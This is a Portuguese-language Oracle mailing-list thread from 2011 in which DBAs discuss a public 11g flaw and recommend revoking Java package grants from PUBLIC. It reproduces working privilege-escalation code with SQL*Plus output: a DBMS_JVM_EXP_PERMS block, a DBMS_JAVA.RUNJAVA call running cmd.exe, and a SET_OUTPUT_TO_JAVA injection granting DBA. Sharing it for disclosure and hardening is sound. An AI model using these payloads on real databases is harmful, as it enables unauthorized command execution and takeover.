Neto, Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os revoke. Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia remove-la tbm Se for necessário Java você pode criar uma role para as packages e conceder privilegio de execute para esta role. De qualquer forma qualquer caminho acima tem que avaliar todos os riscos/efeitos colaterais.
Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com -----Mensagem original----- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Neto Longhi Enviada em: terça-feira, 3 de maio de 2011 11:54 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Nossa que furo. Vlw pela explicação Alessandro. Pra ajeitar essa falha é só executar: revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public; ? Em 3 de maio de 2011 11:19, Alessandro Guimarães < alessan...@applysolutions.com.br> escreveu: > > > Neto e Ivan, > Aqui vai um exemplo ate o usuário conseguir importar permissões Java > F:\path>sqlplus / as sysdba > > SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 > > Copyright (c) 1982, 2007, Oracle. All rights reserved. > > Conectado a: > Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production > With the Partitioning, OLAP, Data Mining and Real Application Testing > options > > SQL> select * from v$version; > > BANNER > ---------------------------------------------------------- > ---- > Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production > PL/SQL Release 11.1.0.6.0 - Production > CORE 11.1.0.6.0 Production > TNS for 32-bit Windows: Version 11.1.0.6.0 - Production > NLSRTL Version 11.1.0.6.0 - Production > > SQL> create user alex identified by senha; > > Usußrio criado. > > SQL> grant create session to alex; > > ConcessÒo bem-sucedida. > > === Aqui podemos ver que o usuário apenas tem o priv de create session > SQL> connect alex/senha > Conectado. > SQL> select * from session_roles; > > nÒo hß linhas selecionadas > > SQL> select * from session_privs; > > PRIVILEGE > ---------------------------------------- > CREATE SESSION > > ============= > > Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ > SQL> conn / as sysdba > Conectado. > SQL> SELECT type_name, name , action > 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ > 3 WHERE grantee = 'ALEX' > 4 / > > nÒo hß linhas selecionadas > > ============ > Conecta novamente como o usuário e importa os privilégios. O furo aqui é o > privilegio de execute to public em dbms_jvm_exp_perms > ===== > SQL> conn alex/senha > Conectado. > > SQL> DECLARE > 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; > 3 CURSOR C1 IS SELECT 'GRANT',USER(), > 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from > dual; > 4 BEGIN > 5 OPEN C1; > 6 FETCH C1 BULK COLLECT INTO POL; > 7 CLOSE C1; > 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); > 9 END; > 10 / > > Procedimento PL/SQL concluÝdo com sucesso. > > ==== > Verifica aqui que o usuario agora tem priveligios de execute > SQL> conn / as sysdba > Conectado. > SQL> col type_name for a30 > SQL> col name for a30 > SQL> col action for a10 > SQL> SELECT type_name, name , action > 2 FROM sys.dba_java_policy > 3 WHERE grantee = 'ALEX' > 4 / > > TYPE_NAME NAME ACTION > ------------------------------ ------------------------------ ---------- > > java.io.FilePermission <<ALL FILES>> execute > > SQL> > > A partir daqui posso como usuário ALEX posso executar um comando do sistema > operacional. Por exemplo > > SQL> conn alex/senha > Conectado. > SQL> set time on > 11:15:32 SQL> select dbms_java.runjava('oracle/aurora/util/Wrapper > c:\\windows\\system32\\cmd.exe /c dir>c:\\blah.txt') from dual; > > > DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ > CDIR > ---------------------------------------------------------- > ---- > > 11:15:36 SQL> > > Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo > > C:\Documents and Settings\Alessandro>cd\ > > C:\>dir blah.txt > O volume na unidade C não tem nome. > O número de série do volume é 9C90-1F08 > > Pasta de C:\ > > 03/05/2011 11:15 1.281 blah.txt > 1 arquivo(s) 1.281 bytes > 0 pasta(s) 14.178.578.432 bytes disponíveis > > E posso virar dba, administrador da maquina... > Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em > 10.2.0.4 > > Abraços > Alessandro Guimaraes > http://aguimaraes.wordpress.com.br > > -----Mensagem original----- > De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em > nome de Ivan Ricardo Schuster > Enviada em: terça-feira, 3 de maio de 2011 10:01 > Para: oracle_br@yahoogrupos.com.br > Assunto: Re: [oracle_br] Falha de segurança do 11g > > > Bom, a informação de que "A Oracle não tem patch nem se pronuciou > quanto a falha" é de fevereiro de 2010. > > Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código > que liberaria o usuário para executar algo no SO é este: > > DECLARE > POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; > CURSOR C1 IS SELECT 'GRANT',USER(), > 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' > from dual; > BEGIN > OPEN C1; > FETCH C1 BULK COLLECT INTO POL; > CLOSE C1; > DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); > END; > > Este código NÃO funciona com usuário comum (grant create session) em > uma base 11.2.0.2, conforme demonstrado: > > SQL> create user ivan1 identified by ivan1; > User created. > > SQL> grant create session to ivan1; > Grant succeeded. > > SQL> conn ivan1/ivan1 > Connected. > SQL> DECLARE > 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; > 3 CURSOR C1 IS SELECT 'GRANT',USER(), > 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' > from dual; > 4 BEGIN > 5 OPEN C1; > 6 FETCH C1 BULK COLLECT INTO POL; > 7 CLOSE C1; > 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); > 9 END; > 10 / > > POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; > * > ERROR at line 2: > ORA-06550: line 2, column 7: > PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared > ORA-06550: line 2, column 7: > PL/SQL: Item ignored > ORA-06550: line 6, column 30: > PLS-00320: the declaration of the type of this expression is > incomplete or malformed > ORA-06550: line 6, column 3: > PL/SQL: SQL Statement ignored > ORA-06550: line 8, column 39: > PLS-00320: the declaration of the type of this expression is > incomplete or malformed > ORA-06550: line 8, column 3: > PL/SQL: Statement ignored > > A outra vulnerabilidade descrita no documento, para dar grant de DBA > ao usuário, também não funcionou: > > SQL> SELECT > DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS', > 'writeOutputToFile','TEXT', NULL, NULL, NULL, > NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE > IMMEDIATE ''GRANT DBA TO GREMLIN''; END;', 'BEGIN NULL; END;') FROM > DUAL; > > > DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','ORACLE/AURORA/RDBMS/DBMSJAVA','SYS','WRIT > > EOUTPUTTOFILE','TEXT',NULL,NULL,NULL,NULL,0,1,1,1,1,0,'DECLAREPRAGMAAUTONOMO > > US_TRANSACTION;BEGINEXECUTEIMMEDIATE''GRANTDBAT > ---------------------------------------------------------- > ---------------------------------------------------------- > ---------------------------------------------------------- > ---------------------------------------------------------- > ---------------------------------------------------------- > -------------------- > > SQL> EXEC > DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE()); > BEGIN > DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE()); > END; > > * > ERROR at line 1: > ORA-31425: subscription does not exist > ORA-06512: at "SYS.DBMS_CDC_ISUBSCRIBE", line 59 > ORA-06512: at line 1 > > SQL> set role dba; > set role dba > * > ERROR at line 1: > ORA-01924: role 'DBA' not granted or does not exist > > Não tenho base 11gR1 nem 11.2.0.1 para testar, alguem pode testar e > postar o resultado? > > 2011/5/2 Neto Longhi <neto.lon...@gmail.com>: > > Pessoal, achei uma materia no blog do Alessandro Guimarães, sobre Falha > de > > segurança do 11g. Não sabia disso e achei interessante postar aqui. > > tai o link > > http://aguimaraes.wordpress.com/ > > > > David Litchfield, achou vulnerabilidades de segurança no Oracle 11g, > embora > > os testes que eles fez tenham sido na versão 11gR2, a falha também > acontece > > no Oracle 11gR1. > > O problema acontece devido a privilégios super generosos para as > procedures > > java, permitindo que um usuario com apenas privilegio de create sesssion, > > possa se tornar um DBA, tendo assim total controle do banco. > > Alem disso, este mesmo usuario pode, com um simples select executar > comandos > > do sistema operacional, como por exemplo gerar um arquivo.txt. > > Em casa fiz um teste e consegui t criar um usuario no sistema operacional > e > > torna-lo membro do grupo administrator do windows. Terrivel não. ? > > A Oracle não tem patch nem se pronuciou quanto a falha. No entanto você > pode > > fazer sua parte. Basta fazer o revoke do PUBLIC das seguintes packages: > > > > *revoke execute on DBMS_JVM_EXP_PERMS from public; > > revoke execute on DBMS_JAVA from public; > > revoke execute on DBMS_JAVA_TEST from public;* > > > > > > -- > > Att, > > José Longhi Laurindo Neto > > Bacharel em Ciência da Computação. > > DBA Oracle Jr. > > Tel: (91) 81970312 > > E-mail: neto.lon...@gmail.com > > > > > > [As partes desta mensagem que não continham texto foram removidas] > > > > > > > > ------------------------------------ > > > > > ---------------------------------------------------------- > ---------------------------------------------- > >>Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de > inteira responsabilidade de seus remetentes. > > Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ > > > ---------------------------------------------------------- > ---------------------------------------------- > >>Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » > Procedure > » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: > http://www.oraclebr.com.br/ > > > ---------------------------------------------------------- > -------------------------------------------- Links do Yahoo! Grupos > > > > > > > > -- > Ivan Ricardo Schuster > OCP 10g/11g > OCE RAC 10g/Linux > > ------------------------------------ > > ---------------------------------------------------------- > ---------------------------------------------- > >Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de > inteira > responsabilidade de seus remetentes. > Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ > ---------------------------------------------------------- > ---------------------------------------------- > >Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure > » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: > http://www.oraclebr.com.br/ > ---------------------------------------------------------- > -------------------------------------------- Links do Yahoo! Grupos > > > -- Att, José Longhi Laurindo Neto Bacharel em Ciência da Computação. DBA Oracle Jr. Tel: (91) 81970312 E-mail: neto.lon...@gmail.com [As partes desta mensagem que não continham texto foram removidas] ------------------------------------ ---------------------------------------------------------------------------- ---------------------------------------------- >Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ ---------------------------------------------------------------------------- ---------------------------------------------- >Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ ---------------------------------------------------------------------------- -------------------------------------------- Links do Yahoo! Grupos